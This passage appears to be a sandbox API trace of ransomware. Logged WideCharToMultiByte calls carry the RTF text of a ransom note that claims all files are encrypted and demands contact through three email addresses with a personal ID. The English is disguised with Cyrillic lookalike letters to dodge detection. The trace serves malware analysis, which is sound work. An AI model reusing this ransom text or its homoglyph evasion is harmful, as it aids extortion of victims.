b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE 